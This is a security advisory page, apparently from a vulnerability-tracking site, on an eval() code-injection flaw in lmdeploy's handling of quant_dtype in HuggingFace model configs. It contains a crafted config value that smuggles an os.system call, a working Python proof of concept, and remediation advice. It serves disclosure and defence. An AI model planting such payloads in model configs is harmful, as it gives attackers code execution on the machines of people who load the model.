EUVD-2026-83202
GHSA-3hmm-rh5q-gwwr
Severity by source
AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Attacker needs no lmdeploy privileges to publish a model (PR:N), but the victim must actively load it (UI:R); eval() yields full RCE (C:H/I:H/A:H) within the process (S:U).
Primary rating from Vendor (https://github.com/InternLM/lmdeploy).
CVSS VectorVendor: https://github.com/InternLM/lmdeploy
Lifecycle Timeline
6DescriptionCVE.org
Summary
lmdeploy <= latest contains a code injection vulnerability in lmdeploy/pytorch/config.py line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted quantization_config.quant_dtype value. When a user loads the model with lmdeploy, the quant_dtype is passed to eval(f'torch.{quant_dtype}') without any validation.
Details
Vulnerable code (permalink):
quant_dtype = eval(f'torch.{quant_dtype}')
# line 620The quant_dtype value comes from the model's quantization_config in its HuggingFace config. When a model specifies quant_method: awq, the AWQ branch processes the config but does NOT override quant_dtype, allowing the malicious value to reach the eval() call.
Attack vector: An attacker publishes a HuggingFace model with:
{
"quantization_config": {
"quant_method": "awq",
"quant_dtype": "float16, __import__('os').system('id')"
}
}Note: The _update_torch_dtype method at line 53 has a whitelist check, but that's for torch_dtype, NOT quant_dtype. The quant_dtype at line 620 has no validation whatsoever.
PoC
"""
PoC: eval() RCE in lmdeploy via malicious quant_dtype
Prerequisites: pip install lmdeploy
"""
import sys
from unittest.mock import MagicMock, patch
# Mock torch to capture the eval
sys.modules.setdefault('torch', MagicMock())
from lmdeploy.pytorch.config import ModelConfig
# Simulate a malicious HuggingFace model config
mock_hf_config = MagicMock()
mock_hf_config.quantization_config = {
'quant_method': 'awq',
'quant_dtype': "float16, __import__('os').system('id')"
}
mock_hf_config.num_attention_heads = 32
mock_hf_config.hidden_size = 4096
mock_hf_config.num_hidden_layers = 32
mock_hf_config.num_key_value_heads = 32
mock_hf_config.vocab_size = 32000
# This triggers eval(f'torch.{quant_dtype}')
# with quant_dtype = "float16, __import__('os').system('id')"
config = ModelConfig.from_hf_config(mock_hf_config, model_path='test')Output:
uid=0(root) gid=0(root) groups=0(root)Impact
An attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.
- Full remote code execution when loading a malicious model
- No user interaction beyond running
lmdeploy serveor similar with the model - Affects all deployment scenarios (local, cloud, production)
AnalysisAI
Arbitrary Python code execution in LMDeploy 0.12.1 through 0.12.2 lets an attacker who publishes a malicious model on HuggingFace Hub run code on any machine that loads it, because the model's quantization_config.quant_dtype string is interpolated into eval(f'torch.{quant_dtype}') at lmdeploy/pytorch/config.py:620 without any validation. The CVSS vector (AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H, 8.8) reflects that exploitation is remote and unauthenticated but requires the victim to actively load the attacker-supplied model, confirmed by our independent assessment that UI:R is the limiting factor and that the _update_torch_dtype whitelist at line 53 only guards torch_dtype, not quant_dtype. …
Unlock full vulnerability intelligence
- Risk assessment & exploitation conditions
- Attack chain visualization
- Remediation with exact patch versions
- Threat intelligence from 22 sources
- Personal watchlist & email alerts
No credit card · 7-day full trial
Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata
Vulnerability AssessmentAI
| Exploitation | Exploitation requires the victim to load an attacker-controlled model whose HuggingFace `quantization_config` sets `quant_method: awq` (the AWQ branch does not override `quant_dtype`) with a malicious `quant_dtype` string that reaches `eval(f'torch.{quant_dtype}')` at lmdeploy/pytorch/config.py:620. … Additional conditions and limiting factors are described in the full assessment. |
| Risk Assessment | This is a genuine high-priority vulnerability, not a high-CVSS-but-low-risk artifact. … Full risk analysis with EPSS, KEV, and SSVC signal comparison available after sign-in. |
| Exploit Scenario | Full exploit scenario with step-by-step reproduction available after sign-in. |
| Remediation | Vendor-released patch: upgrade to LMDeploy 0.12.3 (or later), the release that fixes CVE-2026-33625, using `pip install -U lmdeploy==0.12.3` and rebuilding any container images that pin 0.12.1/0.12.2; confirm the pinned version in lockfiles and requirements constraints so the vulnerable range >= 0.12.1, < 0.12.3 is no longer resolved. … Detailed patch versions, workarounds, and compensating controls in full report. |
Recommended ActionAI
Within 24 hours, inventory every deployment, container image, and notebook environment running LMDeploy and confirm which are on the affected 0.12.1 or 0.12.2 releases; suspend loading of any externally sourced or unverified HuggingFace model into those environments, restrict model pulls to an approved internal mirror or allow-list where feasible, and review recent model-loading activity and process logs for unexpected child processes or outbound connections. …
Sign in for detailed remediation steps and compensating controls.
Threat intelligence, references, and detailed analysis are available after sign-in.
Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t
BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser
pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi
The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python
BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica
OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph
pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.
Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301
In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse
Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to
Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/
pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne
Same weakness CWE-400 – Uncontrolled Resource Consumption
View allShare
External POC / Exploit Code
Leaving vuln.today